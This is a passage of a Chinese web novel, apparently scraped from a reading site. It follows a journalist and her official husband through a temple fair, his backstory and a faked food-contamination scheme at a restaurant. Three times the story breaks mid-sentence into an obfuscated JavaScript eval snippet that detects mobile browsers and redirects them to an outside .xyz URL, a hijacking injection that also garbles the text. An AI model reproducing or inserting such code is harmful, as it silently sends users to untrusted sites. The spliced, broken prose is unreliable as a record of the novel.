马车在大礼国寺门前停下，孟允抒刚从车内探出半截身子，来自四面八方的喧闹就一起向她涌来，将她层层包裹在其中。 她的双脚踩在地面上，却在一片嘈杂的冲击下觉得脚步飘然，甚至有些站不稳。纷乱之间，她环视了一圈眼前的场景，平生第一次体会到“目不暇接”的具体含义。 孟允抒集中注意力，回想了一下她先前看过的大礼国寺地图，按她事先计划好的路线出发。 她拍拍正在东张西望的许昭：“许公子，我们先往这边走。” 庙会上有身上挂满鼓锣的流浪艺人，行走在人群中敲敲打打，时不时拿起随身携带的其他乐器拨弄一番；许多民间艺术团体也在此进行表演，杂耍、驯兽、歌舞应有尽有，音乐声与喝彩声不绝于耳。 孟允抒走过几个摊位就要驻足欣赏一番，在闹市中不得不提高嗓门对许昭喊道：“难怪你想来逛庙会，果真是热闹非凡。” 许昭也少见地扯着嗓子喊：“我幼时最喜欢逛庙会，不过我们那里一年到头也办不了几场。” 孟允抒觉得他们再这么喊下去，过不了一刻两人就都该失声了，于是拉着许昭快步拐到一条行人稍少的路上。 这条道路两边的商贩售卖的大多是些手工艺品，尽是些奇巧精致的玩意儿。孟允抒来了兴致，热情洋溢地跑到那些摊贩前询问详情。 她认真听完摊主讲解绢人的制作过程，正要拿起旁边那个滚灯提问，许昭蓦地在旁边问道：“你有想要的东西吗？” “对，对。”那摊主见状连忙附和，他打量了一下许昭，眼睛都笑得眯成两条细线，撺掇孟允抒花钱，“姑娘既然是带着郎君一同前来，有什么想要的就赶紧开口，过了这村可就没这店了。” 孟允抒暗道不妙。她的预感成真了。 她从一开始就根本没想买东西，只是想拉摊主做个免费采访，这才一直和他套近乎。许昭这么一说，她哪还好意思再继续问下去。 孟允抒尴尬地赔着笑：“抱歉，我只是想随便看看，打扰掌柜了。” 说着，她赶紧拉了许昭一把：“快走。” 但许昭好像没理解她的意思，依然执着地钉在原地。 他看看眼前琳琅满目的商品，转头问孟允抒：“七巧板，你要吗？” 孟允抒窘迫得无地自容，又不好直接在摊主面前和许昭发生冲突，只能飞快地回答：“不要，赶紧走。” “风筝呢？” 孟允抒咬牙切齿地答道：“不要。” 许昭像是铁了心要和她对抗到底，说出一连串的商品名。 “九连环？不倒翁？拨浪鼓？陶笛？竹蜻蜓？陀螺？” 合着许昭隔这报菜名呢。 孟允抒只能威胁他：“你再不走我自己走了。” 她撂下一句话，就大步流星地继续向前。 许昭只好向摊主道了歉，追上孟允抒的步伐。 他观察着孟允抒的表情，见她有些发恼，语无伦次地解释道：“请姑娘不要生气，我见你对那些东西爱不释手，所以才会那样发问。” 孟允抒见许昭小心翼翼的模样觉得有些歉疚，他问那句话完全是出于好心，她确实不该责怪他。 “多谢公子惦念，我没有生气。”她缓和语气对许昭笑笑，以此打消他的顾虑，转而提醒他道，“只是在我提问时，你不要贸然开口。” 许昭赶紧点头表态：“我明白了。” 孟允抒又来到一处卖假发髻的摊位前，此处挤满了女子，孟允抒听见其中几人讨论着“借头”之事。 “借头”就是指女子之间共享发髻的行为。通常情况下，品质上乘的假发髻价格高昂，孟允抒眼前那顶加了珠翠装饰的发髻甚至标价八千文，是妥妥的奢侈品。 孟允抒上前询问摊主详情，让他介绍了几顶价格亲民的假发。这些假发由丝线或动物毛发制成，可谓那些高档假发的平替，唯一美中不足的是质感略差，但临时拿来糊弄旁人还是绰绰有余。 孟允抒将这条见闻深深烙在脑海中。 除了撰写报道的需要，或许她在日后乔装打扮时也能用得上这种假发。 她这样游览了数个摊位，欣赏过书画，体验了游戏，在此过程中，许昭始终不发一言，恪守着她的要求。 孟允抒转头看了看许昭，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378937|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用询问的眼光回看向她。 许昭不但不说话，好像连呼吸都被刻意屏住了。 孟允抒觉得她对许昭太过严苛，于是收回她的禁令，半是好笑半是自责地说：“许公子，我已经收集了足够多的新闻素材，你可以说话了。” 许昭左右张望一番，他们已经行至这条路的尽头，只余下旁边两三个摊位没有游览。 他指着其中一个热闹非凡的摊位说：“我们去那里看看。” 孟允抒随他来到摊前，发现上面尽是些珠宝首饰，其中有不少华丽繁复的钗环，可见其工艺精湛。 摊主和另一边的顾客回完话，笑容满面地迎上来问：“姑娘是想买哪种类型的首饰？喜欢造型精致些的还是简单大方些的？” 孟允抒还想用那句“随便看看”来回应摊主的热情，却被许昭提前打断了施法：“你在里面选些自己喜欢的。” 孟允抒还没来得及拒绝，他又补充：“一个也行。” 听着许昭这不容拒绝的语气，孟允抒觉得这更像是他给自己下的一道命令。 她迅速扫了一遍摊位上的饰品标价，顿时觉得荷包一痛。 孟允抒随便找了个理由搪塞许昭，催促他赶紧离开：“我没有喜欢的，我们还是去别处看看吧。” 摊主却已经将她的动作尽收眼底，笑着对许昭打趣道：“公子，你家夫人心疼你，这是想给你省钱呢。” 这句话更加坚定了许昭要给孟允抒送礼的决心。他回忆着萧睿言传授给他的小妙招，想起只有最后一条还没派上用场。 他看看旁边那对正在打情骂俏的年轻男女，僵硬地伸出手，轻轻拽了拽孟允抒的袖口。 “你戴上这些一定很好看，就当是为我买的，好不好？” 孟允抒惊愕地站在原地，无数猜想从她的大脑中飞速闪过，却没有一条能解释许昭的行为动机和逻辑。 从许昭今天的种种反常行为来看，他怕不是吃错了药。 如果买一件饰品能让许昭恢复正常，那这笔钱就花得值。 于是，孟允抒在满摊的饰品中仔细搜寻一番，终于找到一支符合她审美又极具性价比的银簪。 许昭爽快地付了钱，满心欢喜地把盒子交给孟允抒，仿佛收到礼物的人是他一样。 孟允抒掂着手里沉甸甸的盒子，她觉得不能任由许昭这么继续犯病，不如直接询问他行为反常的原因。 她开门见山道：“从我认识公子以来，我就不甚了解你，现在我更不明白了。公子若是有什么想法，或是有心里话，还请对我明说。” 许昭见她神情严肃，忽然想起萧睿言对他说的话。 他问孟允抒：“姑娘是否觉得我难以接近？” “你鲜少向我袒露心迹，我的确无法理解公子所思所想，更不知道你想做什么。”孟允抒抓住这个契机，趁热打铁道，“你若是一直不肯对我坦言，那我又怎能明白公子心意？” 许昭似乎对这番话颇有感触，他沉默良久，目光反复从孟允抒身上扫过。 最终，他给出了一个让孟允抒意外的答案。 “其实，我也不知道我想做什么。” 孟允抒从许昭的表现中察觉到，他的意志有所松懈，现在是与他谈心的绝佳时机。她将许昭的话细细剖析几遍，决定对他做个深度访谈，让他能更清晰地进行自我表达。 她四下搜寻一番，指着侧方的那处高台说：“那里稍微安静些，公子随我去那边说吧。” 19. 过往 孟允抒带着许昭登上高台，从此处可以望见山头的一轮圆月。夜空晴朗，是个好天气。 她安排两人面对面地坐在宝殿旁边的石凳上，因为两凳间的距离较窄，他们这样坐下后，两人的膝盖就这么碰在一起，达成物理意义上的“促膝长谈”。 许昭不解地看向孟允抒：“我们为何要这样谈话？” “你别问那么多，照做就是。”孟允抒笑笑，“把手给我。” 她轻轻握住许昭的手放在两人膝头，先让许昭放松，而后引导他与自己的目光相接。 这是之前他们单位举办心理团建活动时的一个环节。在此种情况下，所有人都能在不知不觉中说出真心话，彼此坦诚交流，孟允抒觉得效果很好。 许昭不习惯直视孟允抒，把视线挪到别处问：“这也是你所说的‘采访’？” “是。但公子今日所说之事，只有我一人知晓，我保证不将此事外泄。”孟允抒鼓励他看过来，“你若是信我，就请对我直言。公子现在心情如何，或是有什么感受？” 许昭对上了她的视线。 孟允抒的发丝被晚风轻轻扬起，眼中却盛满细碎的灯火，似是要映亮一方夜空。 许昭倏然想起盛放的烟花，美丽绚烂，可同时转瞬即逝。 一幕幕往事在脑海中浮现，他不由得攥紧孟允抒的手，沉痛而急促地说出两个字：“害怕。” “公子莫怕，我在此处听你说话呢。”孟允抒安抚他的情绪，试探着问，“你是不是想起什么了？” 许昭点头：“姑娘可愿听我细细道来？” 他愿意主动敞开心扉，孟允抒觉得这是个积极的信号。 “那是自然。” 许昭沉思片刻，似是在组织语言。而后，他讲起了他的过往。 “我出生在绥宁县的一个村子里，父母皆是普通农民。我对我父亲的印象不深，只记得他好赌嗜酒，整日醉醺醺的，又满口脏话，时常打骂我与母亲。我七岁那年，我们县闹饥荒，父亲卷走了家中所有的财物逃荒，再也不见踪迹。” 孟允抒虽已与许昭成婚两年，却只从旁人那听说他无父无母，并不了解其中详情。今日是他首次提及自己的身世。 绥宁县是胤朝的一个小县城，地处西北，气候干旱，常年黄沙漫天。那里的经济本就落后，乡下人的生活只会比城中百姓更加艰难。 “面对这个烂摊子，我母亲觉得这下反倒好了，终于摆脱了我父亲那个混账。她说，与其冒着风险改嫁，不如由她一个人带我自谋生路。她连字都认不得，却总是叮咛我用功勤学。” 许昭脸上浮现出愧疚的表情。 “我幼时顽劣不喜读书，对考取功名一事嗤之以鼻，只顾着与伙伴玩闹，常常惹得母亲发火。她见我不思进取，索性将我从私塾带出来，让我在三伏天顶着正午的日头，和她一起去田间劳作。我受不住酷热，就央求她放我回去，发誓从此之后一定刻苦念书。” 孟允抒点头，示意他继续往下讲。到此为止，这就是个老套的劝学故事。 “我母亲却失望地摇头。” 孟允抒未曾料到故事会突然发生转折，愣怔地看向许昭。 “她指着那些汗如雨下的农民对我说，她劝我读书，并不是为了让我逃离这样的生活，而是希望我能寻找治世良策，使天下黎民都不必承受这种苦难。” 孟允抒没想到，在胤朝，一个不识字的贫民妇女竟能拥有如此广博的胸怀。 许昭停顿片刻，像是对母亲致以深切的敬意。 过了一会，他才重新开口。 “从那天起，我懂得了学习的真正意义，终于在二十一岁那年考中举人。在紧随其后的会试中我名落孙山，绥宁县的县衙内又恰好有职位空缺，所以我先在那里临时任职，打算等三年后再次参加会试。” 孟允抒记得，许昭是二十四岁时中了探花，而后一年两人成婚，时间对得上。 “初入官场，我想法单纯，性格耿直，空有满腔抱负却不懂得圆滑处事，故而得罪了不少人，却也因此结交了两三个志同道合的至交好友。” 孟允抒心想，许昭的作风倒是一直都没怎么变。 “绥宁县距京城两千里远，皇上和高层官员都鞭长莫及，当时的知县只手遮天，与通判沆瀣一气搜刮民脂民膏。我与那些好友发现此事，就在暗中搜集证据，打算绕过他们，直接将罪证呈往上级。” 铲除地头蛇绝非易事，孟允抒不由得紧张起来：“结果如何？” “有人走漏了风声。知县得知此事，寻个由头将我们几人的家眷请到他府中，其中包括我母亲。他假意请客，实际上是想控制住他们，用他们的性命作为要挟，并让他们写信劝诫，让我们就此罢手。” 在这样两难的境地中，孟允抒难以想象，如果当事人是她自己，她会做出怎样的选择。 “我没有犹豫太久，因为我母亲没有给我留时间。” 许昭的声音变得沙哑，眼中逐渐蒙上一层水雾。 “她知晓内情后，当面大骂知县狗官，说她绝不会被他利用，让他奸计得逞。她高呼一声‘苍生何苦’，当即撞墙而亡，血溅知县府。” 她死得决绝，壮烈，有气节。 一滴眼泪从许昭面庞上骤然坠落，砸在他的手背上，迸出一朵碎裂的水花。 孟允抒被他母亲以死明志的行为深深触动，只是沉默地伸出手指，轻轻拭去许昭手背上的泪痕。 许昭平复心情，继续讲了下去。 “我没了后顾之忧，但其他人并非如此。有些人选择向知县倒戈，有些人同我一样东躲西藏，最后成功让此事上达天听。在这一过程中，我的挚友与我反目成仇，也有几人命丧黄泉。” 孟允抒看向许昭朦胧的泪眼，心情十分沉重。 她和许昭心里都清楚，他所做的事完全正确，可它的代价实在太过惨痛。他打了一个漂亮的胜仗，同时也输得一无所有。 “后来我到京城做官，终于见到众人口中的繁华盛景。但我与亲友的约定却一个都没有实现。” 许昭泣不成声。 “中举那天，我高兴地对我娘说，从此之后她不必再住漏风的破屋，能有一床完整的被褥，不用去市集上捡别人丢掉的烂菜叶。” “在我小时候，她就常常站在田间地头眺望。我问她在看什么，她说她在想象京城人的生活。我对她承诺，我一定会做上京官，带她去往天子脚下。可她熬了一辈子，最终也没能看一眼京城。” “对我那些好友来说也一样。起初我们互相打趣，若有一人飞黄腾达，就邀请其余人去皇都游玩。等我到了此处定居后才发现，我已不知该将请柬寄给何人了。” 许昭的话语被啜泣揉成七零八落的字词，声调也抖得厉害。 “从那时起我意识到，政治远比我想得复杂。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“工部的胡大人做事雷厉风行，治水有方，我甚是钦佩。可他不修边幅，走到哪里都臭气熏天，我好几次都想提醒他快去沐浴。” 孟允抒一听，这是个好机会，许昭再说下去可能还会爆出更多猛料。 她赞扬许昭：“公子做得很好，继续。” 许昭越说越兴奋，语速飞快，将各种琐事都抖搂了个干净。 “你办报之初，我每天都悄悄派人前去买报，为你冲销量。” “什么？” 孟允抒的质疑让许昭猛地回过神。 这半天他说话不经大脑，一不小心把这事说漏嘴了，简直是不打自招。 “不是，我……” 许昭手足无措地辩解，但他的话语中漏洞百出，就像一团越绕越乱的毛线球。 孟允抒绷着脸，站起身丢下一句话：“走。” 许昭急忙跟上她，小声问道：“去哪？” 见孟允抒半天不说话，许昭心里七上八下，只能试探性地按住她的肩膀：“我已知错，以后绝不会再这样做，请姑娘见谅。” 孟允抒被他扳得转过脸来，再也憋不住笑意，放声大笑起来。 “我明白公子是一片好心。” 她笑了一阵，直起腰指向那条热闹的小吃街，回答许昭那个关于他们去哪的问题。 “去给你买芝麻糖。” 20. 美食测评 时至正午，孟允抒从椅子上起身，活动了一下酸痛的脖颈，而后穿过中庭，来到前面的店铺中。 她见秋盈还在忙碌，就简短地和她打了声招呼：“秋盈，我要外出采访，不到两个时辰就能回来。社中事务就先交给你了。” “等等。”秋盈叫住孟允抒，喊来其他伙计应付顾客，腾出空赶到她身边问，“你要去何处采闻？” “揽月阁。”孟允抒回答，“最近那里推出了几道新的特色菜，有不少人对其感兴趣。” 秋盈点头，又免不了叮咛她几句安全问题。 孟允抒打趣道：“都这么久了，你还在担心我。社中那么多事，还不够你操心的？” 秋盈不好意思地笑笑，转而问她：“这种选题怎么会落到你头上？” 在过往的新闻选题当中，孟允抒往往会选择难度较高的任务，或是被其余人挑剩下的主题。本来美食测评是份好差事，按理来说应当甚是抢手，不会由她进行采闻。 “我们现在的资金不足，探官的采闻费用申报上去后，最起码要过上一月才能收回花销。”孟允抒说，“揽月阁的菜品价格高昂，没人想预先垫付。” 秋盈轻轻叹息：“等我们再积累些名气，这些问题就能迎刃而解了。” 名与利总是相伴相生的，当一种报纸的名号足够响亮，自然会有人主动请他们打广告做营销，达成合作共赢的伙伴关系。 孟允抒不想走捷径，就只能扎扎实实地从无名小卒做起，自己想办法推广他们的报纸。 “说不定近日我们就能碰上桩爆款新闻，接着就名声大噪。” 她和秋盈调侃一番，向她告辞后前往揽月阁。 孟允抒刚跨进揽月阁的门槛，便闻到扑鼻而来的香气。 现在正是饭点，作为京中规模最大、最有名气的食肆，揽月阁已经坐满了人。他们桌上的菜品种类繁多，从绣吹羊到蟹酿橙，从煎黄雀到杏酥饮，各种菜系一应俱全。佳肴混着美酒，谈笑和着酒令，店小二忙着上菜送客，好不热闹。 一个伙计瞅见在门口张望的孟允抒，乐颠颠地跑过来问：“姑娘一个人？” 孟允抒点头：“听说揽月阁近日出了不少招牌菜品，我特意来尝尝鲜。” 她又提出自己的要求：“有劳你为我寻处一楼的座位。” 揽月阁的二三楼都是雅间，她可不想付额外费用。 “好嘞，您这边请。” 店小二引着孟允抒在一处空桌上坐下。这张桌子离楼梯很近，她能听得见往来食客的脚步声在她头顶咚咚作响，甚是吵闹。 那伙计也意识到这一点，在孟允抒还没开口前就赔着笑说：“姑娘，真是对不住，这会店里人多，没几个空位，您先将就着吃。待会我请老板给您抹个零，您看如何？” 孟允抒心想，难怪揽月阁能成为京中一流的食肆。就冲这眼力见儿和服务态度，它要是不受欢迎简直天理难容。 然而，随着她接过伙计拿来的菜单，将上面的条目一一看下去，她的笑容逐渐消失。 在价目表上，和前面的那列整数相比，后缀的那点零头简直不足挂齿。 “买家不如卖家精”真是一句颠扑不破的真理。 她正准备忍痛点单时，头顶的楼梯上忽然传来一个熟悉的声音。 “我只是秉公办事，并未帮上你什么忙。无功不受禄，潘掌柜不必如此客气。” 孟允抒循声望去，只见许昭已经下到最后一级楼梯，和揽月阁的掌柜边走边说话。他身后还跟着两人，看样子是他的下属。 似是察觉到孟允抒的目光，许昭也看了过来，在发现她后微微一怔。 潘掌柜见状连忙上前：“大人认识这位姑娘？” “嗯。”许昭点点头，对身后的两人交代道，“你们先回去，我在此处用膳之后再走。” 其中一个下属看上去非常年轻，直截了当地抒发自己的疑惑：“您刚才不是说不吃饭吗？掌柜劝了您半天都不答应，怎么这会又要吃饭了？” 他旁边那个下属则咳嗽一声，用眼神指了指孟允抒：“大人有事要忙，咱们先回官府。” 那个年轻下属没明白他的意思：“反正我们也该吃饭了，为什么不一起吃？哎你用胳膊撞我干什么？” 两人互相拉扯一阵，终于走出了店门，许昭和掌柜则走到孟允抒桌边。 潘掌柜热情地迎上来行了一礼：“既然姑娘是许大人的熟人，那也是我们揽月阁的贵客，请随我去二楼的雅间就座。” 说着，他又训斥身后的伙计：“你怎么连贵客的身份都认不出，当真是有眼无珠。” 孟允抒很清楚，这明摆着就是演戏给她看，却也只能遵循礼节劝解道：“算了算了，潘掌柜消消气。我与许大人只是点头之交，称不上什么贵客。我觉得此处很好，就不劳烦掌柜给我换地方了，您快去忙吧。” 潘掌柜再次客套一番后让伙计留下，再三嘱咐他不得怠慢许昭和孟允抒二人。 孟允抒点完了单，这才有时间与许昭独处。 伙计前脚刚走，许昭就丢出了一个问题，声音满是委屈。 “姑娘与我只是点头之交？” 孟允抒早就发现许昭心不在焉，她还以为他是在思索什么重要的事，闹了半天原来是在纠结这个问题。 许昭直来直往惯了，他不懂这些虚礼倒也正常。 孟允抒耐心解释道：“我要是不那样说，掌柜肯定会坚持让我去楼上。不付钱我良心不安，付钱的话又是一笔不小的数目，我可不想当冤大头。” 许昭却不肯善罢甘休，追问她道：“那在你眼里，你与我是什么关系？” 孟允抒觉得这话像小学生问的。 既然如此，她也只能用小学生的方式作答。 她拍拍许昭的肩，语气深沉道：“我和你天下第一好。” 许昭显然对这个回答非常满意，他笑了好一会才想起来问她：“你怎么在这？” 孟允抒向他讲述了自己前来采闻之事，又反问他来这的目的。 “前段时间，在排云和其余民众的揭发下，县衙中有几名官员因收受贿赂落马，但恐怕还有许多漏网之鱼，他们的罪行还并不明了。这阵子我在清点旧案卷宗，对其中的疑案进行重审。” 谈到正事，许昭的表情重新严肃起来。 “其中有一桩命案发生在上个月，案发地点就在揽月阁。据死者的朋友所讲，当时他正与死者一同吃饭，死者却突然倒地不起。待他去探察死者情况时，他已经没了鼻息。他急忙大声呼救，掌柜也迅速差人报了官。” “县衙中关于此案的卷宗记录，死者是陈疾发作而亡。但我觉得其中有许多蹊跷，故来揽月阁询问详情。” 后面的事孟允抒不用想就知道，肯定是在许昭问完话后，掌柜邀请他在揽月阁吃饭，但他执意不肯。 不知是不是因为此事属于意外事件，不算谋杀案，揽月阁的生意看上去并未受到命案影响，此时依旧人 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“案发当晚也有其余食客在揽月阁中用膳，有些人在听闻此事后曾跑去陈修远处一探究竟。我找来这些见证人问话，他们描述的死者状况与卷宗记录倒是完全一致。” 卷宗上的案情描述来自陈修远的朋友与掌柜。至少在这部分上，他们没有撒谎。 “面色痛苦，口唇青紫，嘴巴大张，死不瞑目，符合心痹骤发的症状。”许昭沉声说道，“可中毒而亡者，往往也是这般模样。衙役们在现场时并未探查陈修远所用食器中是否有毒，如何能断定他的死因？” 孟允抒顿悟，压低声音问许昭：“你怀疑……” 许昭给出了肯定的答案。 “但凡事都要凭证据说话，尤其在断案时，绝不能先入为主地妄下定论。所以，我还需要多方调查，搜寻更多线索。” 他又讲起案件的最终处理结果。 “陈修远的亲戚都远在千里之外，他在京中有位名叫陈暄的同乡故友，他曾代陈修远的家人去县衙申冤，请求他们彻查此事。这案子没费太大功夫，半月前县尉宣布结案，此事被定性为意外事件，所以对柳玉成和揽月阁的处罚都不算重，由双方各自赔偿五十两银子就算了事。” 孟允抒疑惑：“一条人命只值一百两，陈暄以及陈修远的家人能满足于此吗？” “方才我问过潘掌柜案发经过和案件细节后，也向他提出此番疑问。”许昭回答，“潘掌柜说，陈暄对县衙给出的判罚不满却上诉无门，屡屡碰壁后，索性直接去找他和柳玉成。” “陈暄三番五次地上门叨扰，柳玉成坚称此事的主要责任不在于他，不愿多赔钱，而潘掌柜却出了八百两银子。” 孟允抒发现了疑点：“八百两不是个小数目，潘掌柜为何能掏得这么爽快？” “我也对此抱有疑问。”许昭赞同地点头，“据潘掌柜所说，这是因为陈暄死缠烂打，他不想让陈暄扰了他的生意，所以想要尽快息事宁人。” 但在旁人看来，这种行为颇有做贼心虚的意味。” 孟允抒陷入沉思，脑海中浮现出无数猜想。许昭掌握的信息显然比她更多，但他还未得出结论，她也不好妄加揣测。 一声怒喝打断了她的思考。 “真是晦气！你们赚了那么多钱，就让我们吃这种不干不净的东西？” 孟允抒和许昭一同望向声音的来源，只见店中好事的食客纷纷涌向那张靠墙角的桌子。 她出于记者本能，迅速拉起许昭跑了过去：“走，我们去看看。” 21. 食品卫生 两人赶至那处桌位时，围观群众已经将桌子围得水泄不通。很快有人注意到身着公服的许昭，众人小声议论着“是官府的人”，自觉地为他让开一条路。 孟允抒跟着他沾了光，免去了从人群中挤过去的麻烦。 不得不说，在有些时候，官方身份就是好用。 孟允抒看向坐在桌边的两名男子，他们都是满面怒容，双手抱臂，一副要与店家论个高下的架势。两人身旁站着名伙计，不停地向他们赔罪，让他们先息怒。 而在他们的桌子上摆着两个空碗，碗中只余吃完面后剩下的汤汁，以及两只仰面朝天的苍蝇。 从几人说话的内容中可以听出事情的经过：这两名男子来揽月阁要了两碗面，却在吃完后才发现碗底有苍蝇，顿时觉得一阵反胃，要求店家给出合理的解释和赔偿。 猜疑的情绪很快在群体中蔓延，“恶心”“想吐”的嘀咕声此起彼伏，有不少人也开始怀疑，自己是否吃下了不干净的饭菜。 在嘈杂的议论声中，系统的声音却尤为清晰。 【您已触发任务：七日内探明揽月阁的食品安全与卫生问题，并将真相公之于众。任务完成后您可获得300点声望。】 不愧是揽月阁，连任务奖励都跟着它水涨船高。 “诸位客官让一让。” 潘掌柜的声音由远及近，他急匆匆地跑到桌前，仔细瞅了眼碗里的苍蝇，对两名男子行了礼，而后赔着笑说：“两位客官，今日没让你们吃好是小店的罪过，确实该骂。” 他像是给众人澄清事实一般，高声说道：“但如各位所见，揽月阁中连半只蚊虫都没有，后厨的把关更是严格，你们的饭菜里绝不可能出现苍蝇。” 揽月阁的名声在外，可谓是有口皆碑。孟允抒经过亲身体验也发现，揽月阁的饭菜价格固然超出同行许多，但肆中的食物味道、店铺卫生状况、伙计们的服务态度确实都对得起这样的消费水准。 潘掌柜的话压下了一部分骚乱，可怀疑的种子一旦种下就难以根除，依然有不少人在窃窃私语。 桌旁坐着的一名男子冷笑道：“掌柜的意思是说，这事和你们没关系，不予赔偿？” “我并无此意，请客官不要误会。”潘掌柜连忙解释，“照我们店里的规矩，若是客官发现饭菜不干净，我们会按照您整单价格的十倍进行赔偿。钱财事小，可我们不能无故受冤，这有损揽月阁的声誉。” 他看看他们碗中的异物：“我方才已经问过后厨的厨子和帮工，您的面碗自始至终都没离开过他们的视线，这位跑堂的店小二也向您解释过，在为您上菜时，他并没有看到您的碗里有苍蝇。” “你们都是一伙的，谁知道你们是不是串供？”两名男子对他的解释并不满意，反驳他道，“再说，空口无凭，你们说没有就是没有？” 许昭身后的两人悄悄说道：“就是，我还听说揽月阁上个月出了桩命案，说不定那人也是吃了有问题的饭食才身亡的。” “对，揽月阁那个十倍赔偿的规矩也是在案发之后才设立的，说不定就是欲盖弥彰。” 孟允抒已经听完双方的叙述和证言，眼见流言开始在旁观者中发酵，她上前一步问道：“潘掌柜，还有这两位兄弟，既然你们双方各执一词互不相让，可否由我们临时充当判官，查证此事？” 潘掌柜欣然应允，两名男子看了看许昭身上的公服，脸上多了几分敬畏：“大人和姑娘请便。” 孟允抒用勺子舀起他们两人碗中的苍蝇，放在眼前仔细观察一番后交给许昭过目。 她见许昭蹙起眉头，想来他心中已有答案。 保险起见，她又和许昭带着两名男子去后厨转了一圈，确认其卫生情况如潘掌柜所述。 最后，他们回到桌前，再次将注意力集中在那两只碗上。 “方才我已听你们讲述了事件经过，但有些细节我想向你们再次确认。” 孟允抒面向那两名男子问：“据二位所说，你们是吃完面后才发现碗底有异物，而在此之前，包括搅拌面条的时候都并未看到苍蝇，对吗？” “没错。” 孟允抒又转向店小二：“你上菜的时候也没见到碗中有异物？” 伙计连连点头：“对。” “如此说来，这苍蝇一直待在碗底，所以各位起初并未发觉。” 潘掌柜想要辩解：“怎么可能！” 孟允抒让潘掌柜先冷静：“掌柜莫急，我只是根据各位的证词说出我的推断。” 当事人和旁观者都认可她的推论，孟允抒就继续说了下去。 “既然如此，这苍蝇应是一直被压在面条下方，在汤汁中浸泡许久。” 她举起勺中的那两只苍蝇，让众人看得更清楚些：“可这两只苍蝇的尸体完好无损，并未发生任何形变，甚至连翅膀都没有完全湿透。两位兄弟对此作何解释？” 不等他们作出回答，潘掌柜立刻反应过来，瞪大眼睛说：“这苍蝇是你们吃完面后自己放进去的！” “你们休要信口雌黄！”那两人恼羞成怒，反咬一口道，“你们有什么证据表明，这两只苍蝇是我们放的？” 孟允抒给许昭使了个眼色。 “若我没有猜错的话，证据应该就在二位身上。”许昭会意地说道，“你们是自己主动交出证据，还是等我搜身？” 那两人还在装糊涂：“什么证据？我们不明白大人的意思。” “那就对不住了。” 许昭上前一步，强硬地从一人前襟的口袋中掏出一个扁小的圆盒，打开盒盖公开示众，让在场所有人看清，盒子中空无一物。 明眼人都看得出来，这就是他们先前用来装苍蝇的容器。 许昭转向两名男子问道：“请问二位，为何要装着这样一个空盒出门？” 两人一时无言以对，互相用眼神暗示彼此想办法。 许昭的面色平静：“没关系，要是两位现在想不起来，那就请你们随我去刑部坐坐，与我细细道来。” 在那两人眼里，许昭现在分明就是凶神恶煞的形象，他们稍有不慎可能就会被带走坐牢。 两人见势不妙光速滑跪，一边磕头一边认罪：“大人饶命，我们不是有意欺瞒您。” 他们又连忙向掌柜赔罪：“潘掌柜，我们知错了，您大人不记小人过，就原谅我们这一次吧。” 许昭让他们起来说话，潘掌柜则怒不可遏：“你们差点砸了我揽月阁的招牌！说，你们为何要污蔑我们？” “前些日子我们听说，揽月阁出了新规矩，就是您说的，要是发现饭菜不干净，就能得到原价的十倍赔偿。”一名男子惊慌失措地说道，“我们贪图钱财，一时鬼迷心窍，这才出此下策。我发誓，我们再也不敢了！” “我看你们分明是胆大包天。” 一句话出口，众人纷纷愣怔地看向孟允抒。 孟允抒佯装怒道：“都这个时候了，你们还不说实话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416206|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当真是不见棺材不落泪。” 不单是那两名男子，潘掌柜听到这话也十分诧异：“姑娘何出此言？” “揽月阁的规矩是按整单价格的十倍赔偿，他们如果从一开始就打着讹诈揽月阁的主意，为何不多要些饭菜，而是只点两碗素面？” 她看向那两名男子，他们虽穿着粗布衣衫，但着装整洁，不至于连两盘家常菜的钱都掏不起。 “他们这样下来赚不到一两银子，何苦如此大费周章。” 孟允抒心中有了一个猜测，见那两人还想掩饰，决定先诓他们一下。 “你们是受人所托，犯不着把自己也搭进去。当然，两位要是想去看看牢房的光景，我也没意见。” “不不，我们说。”那两人见孟允抒已经道破真相，只能如实招来，“我们是福临楼里的帮工。” 潘掌柜恍然大悟：“我说最近怎么总有人在揽月阁中捣乱，原来是你们福临楼干的好事！” 福临楼是另一家中型食肆，与揽月阁相隔一条街。它的开张时间比揽月阁更早，作为老字号一度与揽月阁平分秋色。但一山难容二虎，随着揽月阁的生意愈发红火，规模日渐扩张，福临楼的营收每况愈下，店里的光景已经不复从前。 这两个伙计害怕他们掌柜怪罪，可这边有许昭坐镇，又有孟允抒步步紧逼，他们觉得还是性命要紧，一股脑地将真相倒了出来：“我们掌柜说，是您抢了他的生意，所以叫我们来给您泼脏水，搞臭揽月阁的名声。” 这样一来，顾客就会涌向其他食肆，福临楼能从中分一杯羹。 “歹毒，卑鄙！”潘掌柜对他们的手段作出评价，“今日要不是有许大人和这位——” 孟允抒笑笑：“我姓孟。” 掌柜接着她的话说了下去：“和这位孟姑娘明察秋毫，揽月阁就是跳进黄河也洗不清！” 